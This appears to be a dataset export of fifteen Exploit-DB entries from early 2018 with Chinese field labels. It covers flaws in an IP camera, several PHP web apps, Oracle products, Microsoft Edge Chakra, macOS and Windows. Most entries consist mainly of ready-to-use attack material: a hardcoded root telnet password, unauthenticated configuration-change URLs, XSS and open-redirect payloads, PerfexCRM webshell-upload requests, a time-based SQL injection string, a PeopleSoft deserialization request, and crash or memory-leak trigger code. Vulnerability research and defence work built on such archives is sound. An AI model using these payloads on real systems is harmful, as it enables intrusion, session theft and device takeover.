QLWD/code_shield huggingface dataset:
标题: Master IP CAM 01 - Multiple Vulnerabilities EDB-ID: 43693 CVE: 2018-5726 2018-5725 2018-5724 2018-5723 类型: REMOTE 平台: HARDWARE 发布日期: 2018-01-17 漏洞利用脚本: # Exploit Title: Master IP CAM 01 Multiple Vulnerabilities
# Date: 17-01-2018
# Remote: Yes
# Exploit Authors: Daniele Linguaglossa, Raffaele Sabato
# Contact: https://twitter.com/dzonerzy, https://twitter.com/syrion89
# Vendor: Master IP CAM
# Version: 3.3.4.2103
# CVE: CVE-2018-5723, CVE-2018-5724, CVE-2018-5725, CVE-2018-5726

I DESCRIPTION
========================================================================
The Master IP CAM 01 suffers of multiple vulnerabilities:

# [CVE-2018-5723] Hardcoded Password for Root Account
# [CVE-2018-5724] Unauthenticated Configuration Download and Upload
# [CVE-2018-5725] Unauthenticated Configuration Change
# [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure


II PROOF OF CONCEPT
========================================================================

## [CVE-2018-5723] Hardcoded Password for Root Account

Is possible to access telnet with the hardcoded credential root:cat1029


## [CVE-2018-5724] Unauthenticated Configuration Download and Upload

Download:

http://192.168.1.15/web/cgi-bin/hi3510/backup.cgi

Upload Form:

### Unauthenticated Configuration Upload
<form name="form6" method="post" enctype="multipart/form-data"
action="cgi-bin/hi3510/restore.cgi" >
<input type="file" name="setting_file" >
<input type="submit" value="restore" >
</form>


## [CVE-2018-5725] Unauthenticated Configuration Change

Change configuration:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=sethttpport&-httport=8080

List of available commands here:
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf


## [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure

Retrieve sensitive information:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=getuser


III REFERENCES
========================================================================
http://syrion.me/blog/master-ipcam/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5723
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5724
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5725
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5726
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf URL: https://www.exploit-db.com/exploits/43693
标题: ILIAS < 5.2.4 - Cross-Site Scripting EDB-ID: 43595 CVE: 2018-5688 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-15 漏洞利用脚本: # Exploit Title: Cross Site Scripting in ILIAS CMS 5.2.3
# Date: Apr 24, 2017
# Software Link: https://www.ilias.de
# Exploit Author: Florian Kunushevci
# Contact: https://facebook.com/florianx00
# CVE: CVE-2018-5688
# Category: webapps

1. Description

ILIAS before 5.2.4 has XSS via the cmd parameter to the displayHeader
function in setup/classes/class.ilSetupGUI.php in the Setup component.

2. Proof of Concept

Location : /setup/setup.php
Parameter : ?cmd=
Payload : "><script>alert(1)</script>

3. Solution:

https://www.ilias.de/docu/goto.php?target=lm_1719&client_id=docu

4. References:

https://nvd.nist.gov/vuln/detail/CVE-2018-5688
https://www.ilias.de/docu/goto_docu_pg_75029_35.html URL: https://www.exploit-db.com/exploits/43595
标题: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect EDB-ID: 43592 CVE: 2017-3528 类型: WEBAPPS 平台: JSP 发布日期: 2018-01-15 漏洞利用脚本: # Exploit Title: Oracle E-Business suite Open Redirect
# Google Dork: inurl:OA_HTML/cabo/
# Date: April 2017
# Exploit Author: [author]
# Vendor Homepage: http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
# Software Link: [download link if available]
# Version: Oracle E-Business Suite  (REQUIRED)
# Tested on: [relevant os]
# CVE :  CVE-2017-3528

The exploit can be leveraged for an open redirect using the following
exploit path:

https://targetsite/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=/\example.com

Oracle E-Business suite is vulnerable to an open redirect issue,
specifically the redirect parameter allows any domain to be supplied
and it will be rendered on the target's site.

Note I was also credited for this CVE, see the Oracle
CPU(http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html) URL: https://www.exploit-db.com/exploits/43592
标题: Reservo Image Hosting Script 1.5 - Cross-Site Scripting EDB-ID: 43676 CVE: 2018-5705 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-17 漏洞利用脚本: # Exploit Title: Reservo Image Hosting Script 1.5 - Cross Site Scripting
# Date: 15-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: reservo.co
# Version: 1.6
# CVE-ID: CVE-2018-5705

With support for automatic thumbnails & image resizing in over 200 image
formats, robust privacy options, secure image manager, external storage a
feature rich admin area and free migration scripts, Reservo really does
tick every box.


Reservo Image Hosting is vulnerable to XSS attacks. The affected function
is its search engine. Since there is an user/admin login interface, it's
possible for attackers to steal sessions of users and thus admin(s). By
sending users an infected URL, code will be executed.

---------------------------
---------------------------
PoC:

https://
{{target}}/search/?s=image&t=%27%29%3B%2522%2520style%253D%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C
---------------------------
---------------------------

Evil javascript code can be inserted and will be executed when visiting the
link URL: https://www.exploit-db.com/exploits/43676
标题: SugarCRM 3.5.1 - Cross-Site Scripting EDB-ID: 43683 CVE: 2018-5715 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-17 漏洞利用脚本: # Exploit Title: sugarCRM 3.5.1 XSS refeclted
# Date: 16/01/2017
# Exploit Author: Guilherme Assmann
# Vendor Homepage: https://www.sugarcrm.com/
# Version: 3.5.1
# Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox
# Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/
# CVE: CVE-2018-5715
More informations: https://m4k4br0.github.io/sugarcrm-xss/

The vulnerability are in the key parameter of phpprint.php

32 foreach ($_GET as $key => $val) {
33   if ($key != "print") {
34     if (is_array($val)) {
35       foreach ($val as $k => $v) {
36         $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";
37       }
38     }
39     else {
40       $query_string .= "{$key}=" . urlencode($val) . "&";
41     }
42   }
43 }

the $key variable are not encoded, this permit that XSS more easy
---------------------------------------------------------------------
Poc:
http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/43683
标题: Oracle PeopleSoft 8.5x - Remote Code Execution EDB-ID: 43594 CVE: 2017-10366 类型: WEBAPPS 平台: JAVA 发布日期: 2018-01-15 漏洞利用脚本: # Exploit Title: RCE vulnerability in monitor service of PeopleSoft 8.54, 8.55, 8.56
# Date: 30 Oct 2017
# Exploit Author: Vahagn Vardanyan
# Vendor Homepage: Oracle
# Software Link: Oracle PeopleSoft
# Version: 8.54, 8.55, 8.56
# Tested on: Windows, Linux
# CVE : CVE-2017-10366 https://github.com/vah13/OracleCVE/tree/master/CVE-2017-10366

The RCE vulnerability present in monitor service of PeopleSoft 8.54, 8.55, 8.56.

POST /monitor/%SITE_NAME% HTTP/1.1
Host: PeopleSoft:PORT
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0)
Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie:a=aa

§JAVA_SERIAL§

%SITE_NAME% - is a PeopleSoft "name" to get it you can use some information
disclosure or brute force. information for automation detection:

   1. If monitor component deployed and you don't know %SITE_NAME% then
   will get this type of error

<h2>Site name is not valid. Check your URL syntax and try again.</h2>


   1. If %SITE_NAME% is true then you will get this message

PeopleSoft

Ping Test for Monitor Servlet

Ping successful. Site %SITE_NAME% is valid.


   1. If monitor don't deployed then you will get this message

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:

10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No
indication is given of whether the condition is temporary or
permanent.

If the server does not wish to make this information available to the
client, the status code 403 (Forbidden) can be used instead. The 410
(Gone) status code SHOULD be used if the server knows, through some
internally configurable mechanism, that an old resource is permanently
unavailable and has no forwarding address. URL: https://www.exploit-db.com/exploits/43594
标题: ImgHosting 1.5 - Cross-Site Scripting EDB-ID: 43567 CVE: 2018-5479 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-15 漏洞利用脚本: # Exploit Title: ImgHosting Image Storage System 1.5 - Cross-Site-Scripting
# Date: 12-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: foxsash.com
# Version: 1.5
# CVE-ID: CVE-2018-5479

ImgHosting – Image Storage System quick and easy image hosting without
registration. Service is ideal for fast and reliable placement of images
for forums, blogs and websites. Simple design, comfortable customers,
direct links to pictures. This hosting service that we do every day use.
Like thousands of other people. We do service to the people.

ImgHosting 1.5 (According footer information) is vulnerable to XSS attacks.
The affected function is its search engine. Since there is an user/admin
login interface, it's possible for attackers to steal sessions of users and
thus admin(s). By sending users an infected URL, code will be executed.

---------------------------
---------------------------
PoC:

http://{TARGET}/?search="><script>confirm(document.domain)<%2Fscript>
---------------------------
---------------------------

Evil javascript code can be inserted and will be executed when visiting the link URL: https://www.exploit-db.com/exploits/43567
标题: PerfexCRM 1.9.7 - Arbitrary File Upload EDB-ID: 43590 CVE: 2017-17976 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-15 漏洞利用脚本: # Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload 
# Exploit Author: Ahmad Mahfouz 
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7 
# Software Link: https://www.perfexcrm.com/

 

# bypassing the misconfigured file upload with file .php5

 

GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]


JSON Response:

{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}

 

#bypass the file content restriction by adding TEXT line to represent mime type text


Request


POST /admin/utilities/elfinder_init HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Connection: close

 

cmd=put&target=[folder]&encoding=UTF-8&content=demo

 

newline to represent text mime type

<?php

    phpinfo();

?>

 

HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167

 

{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]} URL: https://www.exploit-db.com/exploits/43590
标题: Xnami 1.0 - Cross-Site Scripting EDB-ID: 43535 CVE: 2018-5370 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-12 漏洞利用脚本: # Exploit Title: Xnami Image Sharing - Persistent XSS Vulnerability
# Google Dork: "  Copyright 2017 xnami. " & 2018
# Date: 11-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: bizlogicdev.com
# Version: 1.0
# CVE-ID: CVE-2018-5370

Xnami facilitates the creation of an image sharing community. This is
similar in
functionality to sites like imgur, ImageShack, et al.

BizLogic xnami 1.0 has XSS via the comment parameter in an addComment
action to the /media/ajax URI.

At any uploaded media there is a comment system where people can post (also
anonymous).
The comment system is vulnerable to XSS attacks. Since it's persistent
and there is an user login interface, it's possible for attackers to
steal sessions of users and thus admin(s).

---------------------------
---------------------------
PoC with mediaId 611 as example:

POST:
http://{{target}/media/ajax

method: addComment
comment: "><XSSCODE<
mediaId 611
---------------------------
---------------------------

Evil javascript code can be inserted and will be executed when visiting the
media. URL: https://www.exploit-db.com/exploits/43535
标题: Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read EDB-ID: 43522 CVE: 2018-0767 类型: DOS 平台: WINDOWS 发布日期: 2018-01-11 漏洞利用脚本: /*
Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.

growby = endSeg->length;
current = current->GrowByMin(recycler, growby);
CopyArray(current->elements + endIndex + 1, endSeg->length,
    ((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
if (HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}

In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
I guess it shoud be like:
if (current == head && HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}
*/

function trigger() {
    let arr = [1.1];
    let i = 0;
    for (; i < 1000; i += 0.5) {
        arr[i + 0x7777] = 2.0;
    }

    arr[1001] = 35480.0;

    for (; i < 0x7777; i++) {
        arr[i] = 1234.3;
    }
}

for (let i = 0; i < 100; i++) {
    trigger();
} URL: https://www.exploit-db.com/exploits/43522
标题: RISE 1.9 - 'search' SQL Injection EDB-ID: 43591 CVE: 2017-17999 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-15 漏洞利用脚本: # Exploit Title: RISE Ultimate Project Manager 1.9 - SQL Injection
# Exploit Author: Ahmad Mahfouz 
# Contact: http://twitter.com/eln1x
# Date: 30/12/2017
# CVE: CVE-2017-17999
# Vendor Homepage: http://fairsketch.com/
# Version: 1.9

 

 

POST /index.php/knowledge_base/get_article_suggestion/ HTTP/1.1
Host: localhost
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 14
Connection: close

 
search=product'%20and%20(select*from(select(sleep(20)))a)--%20 URL: https://www.exploit-db.com/exploits/43591
标题: macOS - 'process_policy' Stack Leak Through Uninitialized Field EDB-ID: 43521 CVE: 2017-7154 类型: DOS 平台: MACOS 发布日期: 2018-01-11 漏洞利用脚本: /*
The syscall
process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
causes 4 bytes of uninitialized kernel stack memory to be written to userspace.

The call graph looks as follows:

process_policy
  handle_cpuuse
    proc_get_task_ruse_cpu
      task_get_cpuusage
        [writes scope=1/2/4/0]
        [always returns zero]
      [writes policyp if scope!=0]
      [always returns zero]
    copyout


If task_get_cpuusage() set `*scope=0` because none of the flags
TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.


Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:

$ cat test.c
*/

#include <stdint.h>
#include <stdio.h>
#include <inttypes.h>

struct proc_policy_cpuusage_attr {
  uint32_t ppattr_cpu_attr;
  uint32_t ppattr_cpu_percentage;
  uint64_t ppattr_cpu_attr_interval;
  uint64_t ppattr_cpu_attr_deadline;
};

void run(void) {
  int retval;
  struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
  asm volatile(
    "mov $0x02000143, %%rax\n\t" // process_policy
    "mov $1, %%rdi\n\t"   // PROC_POLICY_SCOPE_PROCESS
    "mov $11, %%rsi\n\t"  // PROC_POLICY_ACTION_GET
    "mov $4, %%rdx\n\t"   // PROC_POLICY_RESOURCE_USAGE
    "mov $3, %%r10\n\t"   // PROC_POLICY_RUSAGE_CPU
    "mov %[userptr], %%r8\n\t"
    "mov $0, %%r9\n\t"    // PID 0 (self)
    // target_threadid is unused
    "syscall\n\t"
  : //out
    "=a"(retval)
  : //in
    [userptr] "r"(&attrs)
  : //clobber
    "cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9"
  );
  printf("retval = %d\n", retval);
  printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
  printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
  printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
  printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
}

int main(void) {
  run();
  return 0;
}

/*
$ gcc -Wall -o test test.c
$ ./test
retval = 0
ppattr_cpu_attr = 0x1a180ccb
ppattr_cpu_percentage = 0x0
ppattr_cpu_attr_interval = 0x0
ppattr_cpu_attr_deadline = 0x0

That looks like the lower half of a pointer or so.
*/ URL: https://www.exploit-db.com/exploits/43521
标题: Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation EDB-ID: 43516 CVE: 2018-0752 类型: DOS 平台: WINDOWS 发布日期: 2018-01-11 漏洞利用脚本: Windows: NtImpersonateAnonymousToken LPAC to Non-LPAC EoP
Platform: Windows 10 1703 and 1709 (not tested Windows 8.x)
Class: Elevation of Privilege

Summary:
When impersonating the anonymous token in an LPAC the WIN://NOAPPALLPKG security attribute is ignored  leading to impersonating a non-LPAC token leading to EoP.

Description:

When running in LPAC the WIN://NOAPPALLPKG attribute is used to block the default use of the ALL APPLICATION PACKAGES sid. When impersonating the anonymous token this attribute isn't forwarded on to the new token in SepGetAnonymousToken. This results in being able to impersonate a "normal" AC anonymous token which could result in getting more access to the system (such as anything which is marked as ANONYMOUS LOGON and ALL APPLICATION PACKAGES but not ALL RESTRICTED APPLICATION PACKAGES or a specific capability SID). 

Proof of Concept:

I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge LPAC and then execute the exploit. 

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
2) Execute the PoC as normal user
3) Once complete a dialog should appear indicating the operation is a success.

Expected Result:
The anonymous token is an LPAC.

Observed Result:
The anonymous token is a normal AC.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43516.zip URL: https://www.exploit-db.com/exploits/43516
标题: Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation EDB-ID: 43515 CVE: 2018-0751 类型: DOS 平台: WINDOWS 发布日期: 2018-01-11 漏洞利用脚本: Windows: NtImpersonateAnonymousToken AC to Non-AC EoP
Platform: Windows 10 1703 and 1709
Class: Elevation of Privilege

Summary:
The check for an AC token when impersonating the anonymous token doesn’t check impersonation token’s security level leading to impersonating a non-AC anonymous token leading to EoP.

Description:


There's a missing check for impersonation level in NtImpersonateAnonymousToken when considering if the caller is currently an AC. This results in the function falling into the restricted token case if the caller is impersonating a non AC token at identification or below. Some example code is shown highlighting the issue.

SeCaptureSubjectContext(&ctx);
PACCESS_TOKEN token = ctx.ClientToken;
if (!ctx.ClientToken) <--- Should check the token's impersonation level here, and fallback to the PrimaryToken.
  token = ctx.PrimaryToken;
if (token->Flags & 0x4000) {
  // ... Impersonate AC anonymous token.
} else if (!SeTokenIsRestricted(PsReferencePrimaryToken())) { <-- AC PrimaryToken isn't restricted so this check passes
  // ... Impersonate normal anonymous token.
}

For example when using a split-token admin you can trivially get the linked token and impersonate that. As an AC token isn't restricted this results in impersonating the normal anonymous token which is arguably less restricted than the AC token in some cases and is certainly less restricted than the anonymous AC token which is normally created using SepGetAnonymousToken. For example you can open objects with a NULL DACL if you can traverse to them or open devices which would normally need the special AC device object flag for traversal across the object namespace. You can also access the anonymous token's device map and modify it, potentially leading to bypass of symbolic link protections in certain cases. 

Proof of Concept:

I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge AC and then execute the exploit. You must run this as a UAC split token admin. Note that this ISN’T a UAC bypass, just that a split-token admin has a trivial way of getting a non-AC token by requesting the linked token.

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
2) Execute the PoC as normal user level split-token admin.
3) Once complete a dialog should appear indicating the operation is a success.

Expected Result:
The AC anonymous token is impersonated, or at least an error occurs.

Observed Result:
The Non-AC anonymous token is impersonated.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43515.zip URL: https://www.exploit-db.com/exploits/43515
标题: Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check EDB-ID: 43491 CVE: 2018-0758 类型: DOS 平台: WINDOWS 发布日期: 2018-01-10 漏洞利用脚本: /*
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
Here's a snippet of the method.
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
{
    ...
    IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
    ...
    InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
    ...
}

At (a), there's no check for integer overflow.

Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.

PoC:
*/

let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
    a = 'BBBBBBBBB' + a + b;
}

print(a.length);
print(b.length);
print(a[0]); URL: https://www.exploit-db.com/exploits/43491